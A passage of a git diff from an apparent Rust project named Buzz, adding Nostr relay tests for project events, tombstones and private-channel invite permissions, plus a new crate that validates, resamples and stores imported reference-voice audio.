+        .kind(Kind::Custom(kind))
+        .author(author.public_key())
+        .custom_tags(SingleLetterTag::lowercase(Alphabet::D), [d_tag])
+}
+
+/// Subscribe with `filter` and drain to EOSE.
+async fn query(client: &mut BuzzTestClient, name: &str, filter: Filter) -> Vec<nostr::Event> {
+    let sid = sub_id(name);
+    client
+        .subscribe(&sid, vec![filter])
+        .await
+        .expect("subscribe");
+    client
+        .collect_until_eose(&sid, Duration::from_secs(5))
+        .await
+        .expect("collect events")
+}
+
+#[tokio::test]
+#[ignore]
+async fn test_project_publish_and_query_returns_cross_owner_members() {
+    let url = relay_url();
+    let owner = Keys::generate();
+    let other = Keys::generate();
+    let d_tag = unique("project");
+
+    let members = vec![
+        member_coord(&owner, "buzz"),
+        member_coord(&other, "buzz-infra"),
+    ];
+
+    let mut client = BuzzTestClient::connect(&url, &owner)
+        .await
+        .expect("connect");
+
+    let event = project_event(&owner, &d_tag, "Platform", &members, None);
+    let ok = client.send_event(event).await.expect("send project");
+    assert!(ok.accepted, "relay rejected project event: {}", ok.message);
+
+    let events = query(
+        &mut client,
+        "query",
+        addressable_filter(PROJECT_KIND, &owner, &d_tag),
+    )
+    .await;
+
+    assert_eq!(events.len(), 1, "expected exactly one project event");
+    let stored: Vec<&str> = events[0]
+        .tags
+        .iter()
+        .filter_map(|t| {
+            let parts = t.as_slice();
+            (parts.first().map(|s| s.as_str()) == Some("a")).then(|| parts[1].as_str())
+        })
+        .collect();
+    assert_eq!(
+        stored, members,
+        "both members must survive the round trip, including the one owned by another pubkey"
+    );
+
+    client.disconnect().await.expect("disconnect");
+}
+
+#[tokio::test]
+#[ignore]
+async fn test_project_replacement_keeps_only_newest_for_same_author_and_d() {
+    let url = relay_url();
+    let owner = Keys::generate();
+    let d_tag = unique("project-replace");
+    let now = Timestamp::now().as_secs();
+
+    let mut client = BuzzTestClient::connect(&url, &owner)
+        .await
+        .expect("connect");
+
+    let first = project_event(&owner, &d_tag, "Old", &[], Some(now - 100));
+    let ok = client.send_event(first).await.expect("send old");
+    assert!(ok.accepted, "relay rejected old project: {}", ok.message);
+
+    let members = vec![member_coord(&owner, "buzz")];
+    let second = project_event(&owner, &d_tag, "New", &members, Some(now));
+    let ok = client.send_event(second).await.expect("send new");
+    assert!(ok.accepted, "relay rejected new project: {}", ok.message);
+
+    let events = query(
+        &mut client,
+        "replace",
+        addressable_filter(PROJECT_KIND, &owner, &d_tag),
+    )
+    .await;
+
+    assert_eq!(
+        events.len(),
+        1,
+        "NIP-33: only the newest head should remain"
+    );
+    let name = events[0]
+        .tags
+        .iter()
+        .find_map(|t| {
+            let parts = t.as_slice();
+            (parts.first().map(|s| s.as_str()) == Some("name")).then(|| parts[1].as_str())
+        })
+        .expect("name tag");
+    assert_eq!(name, "New", "the newer head must win");
+
+    client.disconnect().await.expect("disconnect");
+}
+
+/// Owner-only editing is a property of the addressable model, not a relay
+/// permission check: two authors publishing the same `d` occupy two coordinates,
+/// so neither can overwrite the other. This is the test that would fail if the
+/// kind were ever classified as plain-replaceable or keyed on `d` alone.
+#[tokio::test]
+#[ignore]
+async fn test_project_same_d_under_two_authors_are_independent() {
+    let url = relay_url();
+    let alice = Keys::generate();
+    let bob = Keys::generate();
+    let d_tag = unique("project-shared-d");
+
+    let mut alice_client = BuzzTestClient::connect(&url, &alice)
+        .await
+        .expect("connect");
+    let ok = alice_client
+        .send_event(project_event(&alice, &d_tag, "Alice", &[], None))
+        .await
+        .expect("send alice");
+    assert!(
+        ok.accepted,
+        "relay rejected alice's project: {}",
+        ok.message
+    );
+
+    let mut bob_client = BuzzTestClient::connect(&url, &bob).await.expect("connect");
+    let ok = bob_client
+        .send_event(project_event(&bob, &d_tag, "Bob", &[], None))
+        .await
+        .expect("send bob");
+    assert!(ok.accepted, "relay rejected bob's project: {}", ok.message);
+
+    for (label, keys, expected_name) in [("alice", &alice, "Alice"), ("bob", &bob, "Bob")] {
+        let events = query(
+            &mut alice_client,
+            label,
+            addressable_filter(PROJECT_KIND, keys, &d_tag),
+        )
+        .await;
+        assert_eq!(
+            events.len(),
+            1,
+            "{label} should still hold their own project at the shared `d`"
+        );
+        let name = events[0]
+            .tags
+            .iter()
+            .find_map(|t| {
+                let parts = t.as_slice();
+                (parts.first().map(|s| s.as_str()) == Some("name")).then(|| parts[1].as_str())
+            })
+            .expect("name tag");
+        assert_eq!(name, expected_name, "{label}'s project was overwritten");
+    }
+
+    alice_client.disconnect().await.expect("disconnect");
+    bob_client.disconnect().await.expect("disconnect");
+}
+
+/// Deleting a project must delete only the grouping. A project is metadata about
+/// repositories; if a tombstone at the project coordinate cascaded to the
+/// referenced kind:30617s, adding a repo to someone's project would become a way
+/// to destroy it.
+#[tokio::test]
+#[ignore]
+async fn test_project_tombstone_deletes_coordinate_and_spares_members() {
+    let url = relay_url();
+    let owner = Keys::generate();
+    let repo_d = unique("repo");
+    let project_d = unique("project-tombstone");
+
+    let mut client = BuzzTestClient::connect(&url, &owner)
+        .await
+        .expect("connect");
+
+    let ok = client
+        .send_event(repo_announcement(&owner, &repo_d))
+        .await
+        .expect("send announcement");
+    assert!(ok.accepted, "relay rejected announcement: {}", ok.message);
+
+    let members = vec![member_coord(&owner, &repo_d)];
+    let ok = client
+        .send_event(project_event(&owner, &project_d, "Doomed", &members, None))
+        .await
+        .expect("send project");
+    assert!(ok.accepted, "relay rejected project: {}", ok.message);
+
+    let before = query(
+        &mut client,
+        "tombstone-pre",
+        addressable_filter(PROJECT_KIND, &owner, &project_d),
+    )
+    .await;
+    assert_eq!(before.len(), 1, "project should be live before deletion");
+
+    let ok = client
+        .send_event(coordinate_delete(&owner, PROJECT_KIND, &project_d, None))
+        .await
+        .expect("send tombstone");
+    assert!(ok.accepted, "relay rejected tombstone: {}", ok.message);
+
+    let after = query(
+        &mut client,
+        "tombstone-post",
+        addressable_filter(PROJECT_KIND, &owner, &project_d),
+    )
+    .await;
+    assert!(
+        after.is_empty(),
+        "tombstone should remove the project coordinate, got {} event(s)",
+        after.len()
+    );
+
+    let repo = query(
+        &mut client,
+        "member-after",
+        addressable_filter(REPO_ANNOUNCEMENT_KIND, &owner, &repo_d),
+    )
+    .await;
+    assert_eq!(
+        repo.len(),
+        1,
+        "deleting a project must not touch the repositories it referenced"
+    );
+
+    client.disconnect().await.expect("disconnect");
+}
+
+/// NIP-09 scopes an `a`-tag deletion to versions at or before the deletion's own
+/// `created_at`. A tombstone signed between V1 and V2 — delayed in transit or
+/// replayed by a third party — must therefore retire V1 only and leave the newer
+/// V2 head live. Before the timestamp predicate landed in
+/// `soft_delete_by_coordinate`, the coordinate delete was timestamp-blind and
+/// this sequence silently destroyed V2.
+#[tokio::test]
+#[ignore]
+async fn test_stale_tombstone_between_versions_leaves_newer_project_live() {
+    let url = relay_url();
+    let owner = Keys::generate();
+    let project_d = unique("project-stale-tombstone");
+    let now = Timestamp::now().as_secs();
+
+    let mut client = BuzzTestClient::connect(&url, &owner)
+        .await
+        .expect("connect");
+
+    let ok = client
+        .send_event(project_event(
+            &owner,
+            &project_d,
+            "V1",
+            &[],
+            Some(now - 100),
+        ))
+        .await
+        .expect("send v1");
+    assert!(ok.accepted, "relay rejected V1: {}", ok.message);
+
+    let ok = client
+        .send_event(project_event(&owner, &project_d, "V2", &[], Some(now)))
+        .await
+        .expect("send v2");
+    assert!(ok.accepted, "relay rejected V2: {}", ok.message);
+
+    // Timestamped strictly between V1 and V2: valid for V1, stale for V2.
+    let ok = client
+        .send_event(coordinate_delete(
+            &owner,
+            PROJECT_KIND,
+            &project_d,
+            Some(now - 50),
+        ))
+        .await
+        .expect("send stale tombstone");
+    assert!(
+        ok.accepted,
+        "a well-formed tombstone is still an acceptable event: {}",
+        ok.message
+    );
+
+    let after = query(
+        &mut client,
+        "stale-tombstone",
+        addressable_filter(PROJECT_KIND, &owner, &project_d),
+    )
+    .await;
+
+    assert_eq!(
+        after.len(),
+        1,
+        "a tombstone older than the live head must not delete it, got {} event(s)",
+        after.len()
+    );
+    let name = after[0]
+        .tags
+        .iter()
+        .find_map(|t| {
+            let parts = t.as_slice();
+            (parts.first().map(|s| s.as_str()) == Some("name")).then(|| parts[1].as_str())
+        })
+        .expect("surviving head must carry its name tag");
+    assert_eq!(name, "V2", "the surviving head must be the newer version");
+
+    client.disconnect().await.expect("disconnect");
+}
+
+/// Proves the envelope validator is reachable from the live write path — a unit
+/// test of `validate_project_envelope` cannot show that ingest calls it.
+#[tokio::test]
+#[ignore]
+async fn test_project_malformed_envelope_rejected_by_relay() {
+    let url = relay_url();
+    let owner = Keys::generate();
+    let mut client = BuzzTestClient::connect(&url, &owner)
+        .await
+        .expect("connect");
+
+    let duplicate = member_coord(&owner, "buzz");
+    // Each case pairs a malformed event with the substring its rejection must
+    // carry, so a refusal for an unrelated reason cannot satisfy the assertion.
+    let cases: Vec<(&str, nostr::Event, &str)> = vec![
+        (
+            "duplicate member coordinate",
+            project_event(
+                &owner,
+                &unique("project-dup"),
+                "Dup",
+                &[duplicate.clone(), duplicate],
+                None,
+            ),
+            "duplicate member coordinate",
+        ),
+        (
+            "member coordinate naming the wrong kind",
+            project_event(
+                &owner,
+                &unique("project-badkind"),
+                "Bad kind",
+                &[format!("30618:{}:buzz", owner.public_key().to_hex())],
+                None,
+            ),
+            "member `a` tag must be",
+        ),
+        (
+            "member coordinate with an uppercase-hex owner",
+            project_event(
+                &owner,
+                &unique("project-upper"),
+                "Uppercase",
+                &[format!("{REPO_ANNOUNCEMENT_KIND}:{}:buzz", "A".repeat(64))],
+                None,
+            ),
+            "member `a` tag must be",
+        ),
+    ];
+
+    for (label, event, expected) in cases {
+        let ok = client.send_event(event).await.expect("send");
+        assert!(
+            !ok.accepted,
+            "relay must reject a project with a {label}, got OK: {}",
+            ok.message
+        );
+        assert!(
+            ok.message.contains(expected),
+            "rejection for {label} must name the rule that fired, got: {}",
+            ok.message
+        );
+    }
+
+    client.disconnect().await.expect("disconnect");
+}
diff --git a/crates/buzz-test-client/tests/e2e_relay.rs b/crates/buzz-test-client/tests/e2e_relay.rs
index 6f59299ed2..5b9a50b5b1 100644
--- a/crates/buzz-test-client/tests/e2e_relay.rs
+++ b/crates/buzz-test-client/tests/e2e_relay.rs
@@ -2201,6 +2201,10 @@ async fn create_private_channel_ws(client: &mut BuzzTestClient, keys: &Keys) ->
 }
 
 /// Submit a kind:9000 PUT_USER event over WebSocket.
+///
+/// `allow_self_tagging` keeps self-targeted adds working: EventBuilder otherwise
+/// drops a `p` tag matching the signer (nostr-0.44.3 builder.rs:435-449) and the
+/// event fails as "missing p tag" instead of exercising the authority check.
 async fn add_member_ws(
     client: &mut BuzzTestClient,
     channel_id: &str,
@@ -2210,6 +2214,7 @@ async fn add_member_ws(
     let h_tag = Tag::parse(["h", channel_id]).unwrap();
     let p_tag = Tag::parse(["p", target_pubkey_hex]).unwrap();
     let event = EventBuilder::new(Kind::Custom(9000), "")
+        .allow_self_tagging()
         .tags([h_tag, p_tag])
         .sign_with_keys(signer)
         .unwrap();
@@ -2219,6 +2224,8 @@ async fn add_member_ws(
 }
 
 /// Submit a kind:9000 PUT_USER event with a role tag over WebSocket.
+///
+/// See [`add_member_ws`] for why `allow_self_tagging` is required.
 async fn add_member_with_role_ws(
     client: &mut BuzzTestClient,
     channel_id: &str,
@@ -2230,6 +2237,7 @@ async fn add_member_with_role_ws(
     let p_tag = Tag::parse(["p", target_pubkey_hex]).unwrap();
     let role_tag = Tag::parse(["role", role]).unwrap();
     let event = EventBuilder::new(Kind::Custom(9000), "")
+        .allow_self_tagging()
         .tags([h_tag, p_tag, role_tag])
         .sign_with_keys(signer)
         .unwrap();
@@ -2241,10 +2249,10 @@ async fn add_member_with_role_ws(
     (ok.accepted, ok.message)
 }
 
-/// Any member of a private channel can invite another user (Slack model).
+/// Only owners/admins can add another identity to a private channel.
 #[tokio::test]
 #[ignore]
-async fn test_private_channel_any_member_can_invite() {
+async fn test_private_channel_member_cannot_invite() {
     let url = relay_url();
     let owner_keys = Keys::generate();
     let member_keys = Keys::generate();
@@ -2271,7 +2279,7 @@ async fn test_private_channel_any_member_can_invite() {
         .await
         .expect("connect as member");
 
-    // Regular member invites a third user — this should succeed.
+    // Regular member tries to invite a third user.
     let (accepted, msg) = add_member_ws(
         &mut member_client,
         &channel_id,
@@ -2279,15 +2287,77 @@ async fn test_private_channel_any_member_can_invite() {
         &member_keys,
     )
     .await;
+    assert!(
+        !accepted,
+        "regular member must not add another private-channel identity: {msg}"
+    );
+    assert!(
+        msg.contains("owners/admins"),
+        "rejection should name the owner/admin requirement, got: {msg}"
+    );
+
+    // The same member re-adding *themselves* stays idempotent — the huddle
+    // bot-add and kind:9021 paths depend on a self-targeted PUT_USER working.
+    let (accepted, msg) = add_member_ws(
+        &mut member_client,
+        &channel_id,
+        &member_keys.public_key().to_hex(),
+        &member_keys,
+    )
+    .await;
     assert!(
         accepted,
-        "regular member should be able to invite to private channel, got: {msg}"
+        "self-targeted re-add must stay idempotent, got: {msg}"
     );
 
     owner_client.disconnect().await.expect("disconnect owner");
     member_client.disconnect().await.expect("disconnect member");
 }
 
+/// An admin — not just the owner — can still add to a private channel.
+#[tokio::test]
+#[ignore]
+async fn test_private_channel_admin_can_invite() {
+    let url = relay_url();
+    let owner_keys = Keys::generate();
+    let admin_keys = Keys::generate();
+    let invitee_keys = Keys::generate();
+
+    let mut owner_client = BuzzTestClient::connect(&url, &owner_keys)
+        .await
+        .expect("connect as owner");
+    let channel_id = create_private_channel_ws(&mut owner_client, &owner_keys).await;
+
+    let (accepted, msg) = add_member_with_role_ws(
+        &mut owner_client,
+        &channel_id,
+        &admin_keys.public_key().to_hex(),
+        "admin",
+        &owner_keys,
+    )
+    .await;
+    assert!(accepted, "owner should add an admin, got: {msg}");
+
+    let mut admin_client = BuzzTestClient::connect(&url, &admin_keys)
+        .await
+        .expect("connect as admin");
+
+    let (accepted, msg) = add_member_ws(
+        &mut admin_client,
+        &channel_id,
+        &invitee_keys.public_key().to_hex(),
+        &admin_keys,
+    )
+    .await;
+    assert!(
+        accepted,
+        "admin should be able to add to a private channel, got: {msg}"
+    );
+
+    owner_client.disconnect().await.expect("disconnect owner");
+    admin_client.disconnect().await.expect("disconnect admin");
+}
+
 /// A non-member cannot invite someone to a private channel.
 #[tokio::test]
 #[ignore]
diff --git a/crates/buzz-voice/Cargo.toml b/crates/buzz-voice/Cargo.toml
new file mode 100644
index 0000000000..beff5b4a54
--- /dev/null
+++ b/crates/buzz-voice/Cargo.toml
@@ -0,0 +1,25 @@
+[package]
+name = "buzz-voice"
+version.workspace = true
+edition.workspace = true
+rust-version.workspace = true
+license.workspace = true
+repository.workspace = true
+description = "Reusable local voice primitives for Buzz"
+
+[dependencies]
+atomic-write-file = "0.3"
+hex = { workspace = true }
+ort = { version = "=2.0.0-rc.12", default-features = false, features = ["api-24", "ndarray", "std"] }
+ort-sys = { version = "=2.0.0-rc.12", features = ["disable-linking"] }
+rand = "0.10"
+sentencepiece-model = "0.1"
+serde = { version = "1", features = ["derive"] }
+serde_json = "1"
+sha2 = { workspace = true }
+sherpa-onnx = "1.12"
+symphonia = { version = "0.5", default-features = false, features = ["aac", "aiff", "alac", "flac", "isomp4", "mp3", "ogg", "pcm", "vorbis", "wav"] }
+tokenizers = { version = "0.22", default-features = false, features = ["fancy-regex"] }
+
+[dev-dependencies]
+tempfile = "3"
diff --git a/crates/buzz-voice/src/imported.rs b/crates/buzz-voice/src/imported.rs
new file mode 100644
index 0000000000..6f0ea71cad
--- /dev/null
+++ b/crates/buzz-voice/src/imported.rs
@@ -0,0 +1,730 @@
+//! Device-local Pocket reference voice validation, canonicalization, and storage.
+
+use std::{
+    fs,
+    io::Write,
+    path::{Path, PathBuf},
+};
+
+use atomic_write_file::AtomicWriteFile;
+use serde::{Deserialize, Serialize};
+use sha2::{Digest, Sha256};
+use symphonia::core::{
+    audio::SampleBuffer, codecs::DecoderOptions, errors::Error as SymphoniaError,
+    formats::FormatOptions, io::MediaSourceStream, meta::MetadataOptions, probe::Hint,
+};
+
+const MAX_SOURCE_BYTES: u64 = 25 * 1024 * 1024;
+const MIN_SAMPLE_RATE: u32 = 8_000;
+const MAX_SAMPLE_RATE: u32 = 96_000;
+const MIN_DURATION_SECONDS: f64 = 2.0;
+const MAX_DURATION_SECONDS: f64 = 30.0;
+pub const CANONICAL_SAMPLE_RATE: u32 = 32_000;
+const REGISTRY_VERSION: u32 = 1;
+const REGISTRY_FILE: &str = "registry.json";
+
+#[derive(Clone, Debug, Deserialize, Serialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct ImportedVoice {
+    pub key: String,
+    pub display_name: String,
+    pub content_hash: String,
+    pub file_name: String,
+}
+
+#[derive(Default, Deserialize, Serialize)]
+#[serde(rename_all = "camelCase")]
+struct ImportedVoiceRegistry {
+    version: u32,
+    voices: Vec<ImportedVoice>,
+}
+
+#[derive(Clone, Debug)]
+pub struct PocketVoiceLibrary {
+    root: PathBuf,
+}
+
+impl PocketVoiceLibrary {
+    pub fn new(root: impl Into<PathBuf>) -> Self {
+        Self { root: root.into() }
+    }
+
+    pub fn root(&self) -> &Path {
+        &self.root
+    }
+
+    fn registry_path(&self) -> PathBuf {
+        self.root.join(REGISTRY_FILE)
+    }
+
+    pub fn load(&self) -> Result<Vec<ImportedVoice>, String> {
+        let path = self.registry_path();
+        if !path.exists() {
+            return Ok(Vec::new());
+        }
+        let bytes =
+            fs::read(&path).map_err(|error| format!("could not read imported voices: {error}"))?;
+        let registry: ImportedVoiceRegistry = serde_json::from_slice(&bytes)
+            .map_err(|error| format!("imported voice registry is invalid: {error}"))?;
+        if registry.version > REGISTRY_VERSION {
+            return Err(format!(
+                "imported voice registry version {} is newer than this Buzz build supports",
+                registry.version
+            ));
+        }
+        Ok(registry
+            .voices
+            .into_iter()
+            .filter(valid_identity)
+            .filter(|voice| self.resolve_file(voice).is_ok())
+            .collect())
+    }
+
+    fn save(&self, voices: &[ImportedVoice]) -> Result<(), String> {
+        ensure_storage_dir(&self.root)?;
+        let payload = serde_json::to_vec_pretty(&ImportedVoiceRegistry {
+            version: REGISTRY_VERSION,
+            voices: voices.to_vec(),
+        })
+        .map_err(|error| format!("could not encode imported voice registry: {error}"))?;
+        atomic_write_restricted(&self.registry_path(), &payload)
+            .map_err(|error| format!("could not save imported voice registry: {error}"))
+    }
+
+    pub fn resolve_file(&self, voice: &ImportedVoice) -> Result<PathBuf, String> {
+        if !valid_identity(voice) {
+            return Err("Imported voice registry contains an invalid file identity".to_string());
+        }
+        let path = self.root.join(&voice.file_name);
+        if !is_regular_file_without_symlink(&path) {
+            return Err(format!("Imported voice {} is missing", voice.display_name));
+        }
+        let bytes =
+            fs::read(&path).map_err(|error| format!("could not verify imported voice: {error}"))?;
+        if hex::encode(Sha256::digest(bytes)) != voice.content_hash {
+            return Err(format!(
+                "Imported voice {} does not match its content identity",
+                voice.display_name
+            ));
+        }
+        Ok(path)
+    }
+
+    pub fn find(&self, key: &str) -> Result<Option<ImportedVoice>, String> {
+        Ok(self.load()?.into_iter().find(|voice| voice.key == key))
+    }
+
+    pub fn import_path(&self, source: &Path) -> Result<ImportedVoice, String> {
+        let metadata = fs::metadata(source)
+            .map_err(|error| format!("could not inspect selected audio: {error}"))?;
+        if metadata.len() > MAX_SOURCE_BYTES {
+            return Err("Voice audio must be 25 MB or smaller".to_string());
+        }
+        let extension = source
+            .extension()
+            .and_then(|extension| extension.to_str())
+            .map(str::to_ascii_lowercase)
+            .ok_or_else(|| "Voice audio must have a supported file extension".to_string())?;
+        let samples = if extension == "wav" {
+            let source_bytes = fs::read(source)
+                .map_err(|error| format!("could not read selected audio: {error}"))?;
+            decode_wav(&source_bytes)?
+        } else {
+            decode_media(source, &extension)?
+        };
+        let canonical_samples = resample_linear(&samples.samples, samples.sample_rate);
+        let canonical = encode_pcm16_wav(&canonical_samples, CANONICAL_SAMPLE_RATE);
+        let hash = hex::encode(Sha256::digest(&canonical));
+        let key = format!("pocket:imported:{hash}");
+        let file_name = format!("{hash}.wav");
+        let display_name = source
+            .file_stem()
+            .and_then(|name| name.to_str())
+            .map(str::trim)
+            .filter(|name| !name.is_empty())
+            .unwrap_or("Imported voice")
+            .chars()
+            .take(80)
+            .collect::<String>();
+
+        ensure_storage_dir(&self.root)?;
+        let file_path = self.root.join(&file_name);
+        let file_created = !file_path.exists();
+        if file_created {
+            atomic_write_restricted(&file_path, &canonical)
+                .map_err(|error| format!("could not save imported voice audio: {error}"))?;
+        } else {
+            if !is_regular_file_without_symlink(&file_path) {
+                return Err("Imported voice storage contains an unsafe file entry".to_string());
+            }
+            let existing = fs::read(&file_path)
+                .map_err(|error| format!("could not verify imported voice audio: {error}"))?;
+            if hex::encode(Sha256::digest(&existing)) != hash {
+                return Err("Imported voice storage contains mismatched audio data".to_string());
+            }
+        }
+
+        let mut imported = ImportedVoice {
+            key,
+            display_name,
+            content_hash: hash,
+            file_name,
+        };
+        let mut voices = self.load()?;
+        if let Some(existing) = voices
+            .iter()
+            .find(|voice| voice.content_hash == imported.content_hash)
+        {
+            imported = existing.clone();
+        } else {
+            voices.push(imported.clone());
+        }
+        if let Err(error) = self.save(&voices) {
+            if file_created {
+                let _ = fs::remove_file(&file_path);
+            }
+            return Err(error);
+        }
+        Ok(imported)
+    }
+
+    pub fn delete(&self, key: &str) -> Result<(), String> {
+        let mut voices = self.load()?;
+        let index = voices
+            .iter()
+            .position(|voice| voice.key == key)
+            .ok_or_else(|| format!("Unknown imported voice: {key}"))?;
+        let previous_voices = voices.clone();
+        let removed = voices.remove(index);
+        self.save(&voices)?;
+        let path = self.root.join(removed.file_name);
+        match fs::remove_file(path) {
+            Ok(()) => Ok(()),
+            Err(error) if error.kind() == std::io::ErrorKind::NotFound => Ok(()),
+            Err(error) => {
+                self.save(&previous_voices).map_err(|rollback_error| {
+                    format!(
+                        "Imported voice audio could not be deleted ({error}), and its registry \
+                         entry could not be restored ({rollback_error})"
+                    )
+                })?;
+                Err(format!(
+                    "Imported voice audio could not be deleted: {error}"
+                ))
+            }
+        }
+    }
+}
+
+#[derive(Clone, Copy, Debug, PartialEq)]
+pub struct PcmStats {
+    pub sample_count: usize,
+    pub sample_rate: u32,
+    pub duration_seconds: f64,
+    pub peak: f32,
+    pub rms: f32,
+    pub non_silent_samples: usize,
+}
+
+impl PcmStats {
+    pub fn analyze(samples: &[f32], sample_rate: u32) -> Self {
+        let peak = samples
+            .iter()
+            .filter(|sample| sample.is_finite())
+            .fold(0.0_f32, |peak, sample| peak.max(sample.abs()));
+        let square_sum = samples
+            .iter()
+            .filter(|sample| sample.is_finite())
+            .map(|sample| sample * sample)
+            .sum::<f32>();
+        let rms = if samples.is_empty() {
+            0.0
+        } else {
+            (square_sum / samples.len() as f32).sqrt()
+        };
+        Self {
+            sample_count: samples.len(),
+            sample_rate,
+            duration_seconds: if sample_rate == 0 {
+                0.0
+            } else {
+                samples.len() as f64 / f64::from(sample_rate)
+            },
+            peak,
+            rms,
+            non_silent_samples: samples
+                .iter()
+                .filter(|sample| sample.is_finite() && sample.abs() >= 0.001)
+                .count(),
+        }
+    }
+
+    pub fn is_non_silent(self) -> bool {
+        self.peak >= 0.001 && self.rms >= 0.0001 && self.non_silent_samples > 0
+    }
+}
+
+pub fn write_pcm16_wav(path: &Path, samples: &[f32], sample_rate: u32) -> Result<(), String> {
+    let bytes = encode_pcm16_wav(samples, sample_rate);
+    fs::write(path, bytes).map_err(|error| format!("could not write PCM evidence: {error}"))
+}
+
+fn ensure_storage_dir(path: &Path) -> Result<(), String> {
+    fs::create_dir_all(path)
+        .map_err(|error| format!("could not create local voice storage: {error}"))?;
+    #[cfg(unix)]
+    {
+        use std::os::unix::fs::PermissionsExt;
+        fs::set_permissions(path, fs::Permissions::from_mode(0o700))
+            .map_err(|error| format!("could not restrict local voice storage: {error}"))?;
+    }
+    Ok(())
+}
+
+fn atomic_write_restricted(path: &Path, payload: &[u8]) -> Result<(), String> {
+    let resolved = fs::canonicalize(path).unwrap_or_else(|_| path.to_path_buf());
+    let mut file = AtomicWriteFile::open(&resolved)
+        .map_err(|error| format!("open {} for atomic write: {error}", resolved.display()))?;
+    #[cfg(unix)]
+    {
+        use std::os::unix::fs::PermissionsExt;
+        file.set_permissions(fs::Permissions::from_mode(0o600))
+            .map_err(|error| format!("set {} permissions: {error}", resolved.display()))?;
+    }
+    file.write_all(payload)
+        .map_err(|error| format!("write {}: {error}", resolved.display()))?;
+    file.commit()
+        .map_err(|error| format!("commit {}: {error}", resolved.display()))
+}
+
+fn valid_hash(hash: &str) -> bool {
+    hash.len() == 64 && hash.bytes().all(|byte| byte.is_ascii_hexdigit())
+}
+
+fn valid_identity(voice: &ImportedVoice) -> bool {
+    valid_hash(&voice.content_hash)
+        && voice.key == format!("pocket:imported:{}", voice.content_hash)
+        && voice.file_name == format!("{}.wav", voice.content_hash)
+}
+
+fn is_regular_file_without_symlink(path: &Path) -> bool {
+    fs::symlink_metadata(path)
+        .is_ok_and(|metadata| metadata.file_type().is_file() && !metadata.file_type().is_symlink())
+}
+
+#[derive(Debug)]
+struct DecodedAudio {
+    sample_rate: u32,
+    samples: Vec<f32>,
+}
+
+fn decode_wav(bytes: &[u8]) -> Result<DecodedAudio, String> {
+    if bytes.len() < 12 || &bytes[..4] != b"RIFF" || &bytes[8..12] != b"WAVE" {
+        return Err("Selected file is not a valid RIFF/WAVE file".to_string());
+    }
+    let mut offset = 12usize;
+    let mut format = None;
+    let mut data = None;
+    while offset.checked_add(8).is_some_and(|end| end <= bytes.len()) {
+        let id = &bytes[offset..offset + 4];
+        let size =
+            u32::from_le_bytes(bytes[offset + 4..offset + 8].try_into().unwrap_or([0; 4])) as usize;
+        let start = offset + 8;
+        let end = start.checked_add(size).ok_or("WAV chunk size overflow")?;
+        if end > bytes.len() {
+            return Err("Selected WAV contains a truncated chunk".to_string());
+        }
+        if id == b"fmt " {
+            format = Some(&bytes[start..end]);
+        } else if id == b"data" {
+            data = Some(&bytes[start..end]);
+        }
+        offset = end + (size & 1);
+    }
+    let format = format.ok_or("Selected WAV has no format chunk")?;
+    let data = data.ok_or("Selected WAV has no audio data")?;
+    if format.len() < 16 {
+        return Err("Selected WAV has an invalid format chunk".to_string());
+    }
+    let encoding = u16::from_le_bytes(format[0..2].try_into().unwrap_or([0; 2]));
+    let encoding = if encoding == 0xfffe && format.len() >= 40 {
+        u16::from_le_bytes(format[24..26].try_into().unwrap_or([0; 2]))
+    } else {
+        encoding
+    };
+    let channels = u16::from_le_bytes(format[2..4].try_into().unwrap_or([0; 2]));
+    let sample_rate = u32::from_le_bytes(format[4..8].try_into().unwrap_or([0; 4]));
+    let block_align = u16::from_le_bytes(format[12..14].try_into().unwrap_or([0; 2])) as usize;
+    let bits = u16::from_le_bytes(format[14..16].try_into().unwrap_or([0; 2]));
+    if channels == 0 || channels > 8 {
+        return Err("Voice WAV must contain between 1 and 8 channels".to_string());
+    }
+    if !(MIN_SAMPLE_RATE..=MAX_SAMPLE_RATE).contains(&sample_rate) {
+        return Err("Voice WAV sample rate must be between 8 and 96 kHz".to_string());
+    }
+    let bytes_per_sample = usize::from(bits.div_ceil(8));
+    if block_align != bytes_per_sample * usize::from(channels)
+        || block_align == 0
+        || data.len() % block_align != 0
+    {
+        return Err("Voice WAV has invalid sample alignment".to_string());
+    }
+    if !matches!((encoding, bits), (1, 8 | 16 | 24 | 32) | (3, 32)) {
+        return Err("Voice WAV must contain PCM or 32-bit float audio".to_string());
+    }
+    let frames = data.len() / block_align;
+    let duration = frames as f64 / f64::from(sample_rate);
+    if !(MIN_DURATION_SECONDS..=MAX_DURATION_SECONDS).contains(&duration) {
+        return Err("Voice WAV must be between 2 and 30 seconds long".to_string());
+    }
+
+    let mut samples = Vec::with_capacity(frames);
+    for frame in data.chunks_exact(block_align) {
+        let mut mono = 0.0_f32;
+        for chunk in frame.chunks_exact(bytes_per_sample) {
+            let sample = match (encoding, bits) {
+                (1, 8) => (f32::from(chunk[0]) - 128.0) / 128.0,
+                (1, 16) => f32::from(i16::from_le_bytes([chunk[0], chunk[1]])) / 32768.0,
+                (1, 24) => {
+                    let raw = i32::from_le_bytes([
+                        chunk[0],
+                        chunk[1],
+                        chunk[2],
+                        if chunk[2] & 0x80 == 0 { 0 } else { 0xff },
+                    ]);
+                    raw as f32 / 8_388_608.0
+                }
+                (1, 32) => {
+                    i32::from_le_bytes(chunk.try_into().map_err(|_| "invalid PCM sample")?) as f32
+                        / 2_147_483_648.0
+                }
+                (3, 32) => f32::from_le_bytes(
+                    chunk
+                        .try_into()
+                        .map_err(|_| "invalid floating-point sample")?,
+                ),
+                _ => unreachable!(),
+            };
+            if !sample.is_finite() {
+                return Err("Voice WAV contains non-finite samples".to_string());
+            }
+            mono += sample;
+        }
+        samples.push((mono / f32::from(channels)).clamp(-1.0, 1.0));
+    }
+    let stats = PcmStats::analyze(&samples, sample_rate);
+    if !stats.is_non_silent() {
+        return Err("Voice WAV is silent or too quiet to clone".to_string());
+    }
+    Ok(DecodedAudio {
+        sample_rate,
+        samples,
+    })
+}
+
+fn decode_media(source: &Path, extension: &str) -> Result<DecodedAudio, String> {
+    let supported = ["m4a", "mp3", "flac", "ogg", "oga", "aif", "aiff"];
+    if !supported.contains(&extension) {
+        return Err(format!(
+            "Unsupported voice audio format .{extension}. Choose WAV, M4A, MP3, FLAC, OGG, or AIFF"
+        ));
+    }
+
+    let file = fs::File::open(source)
+        .map_err(|error| format!("could not read selected audio: {error}"))?;
+    let media = MediaSourceStream::new(Box::new(file), Default::default());
+    let mut hint = Hint::new();
+    hint.with_extension(extension);
+    let probed = symphonia::default::get_probe()
+        .format(
+            &hint,
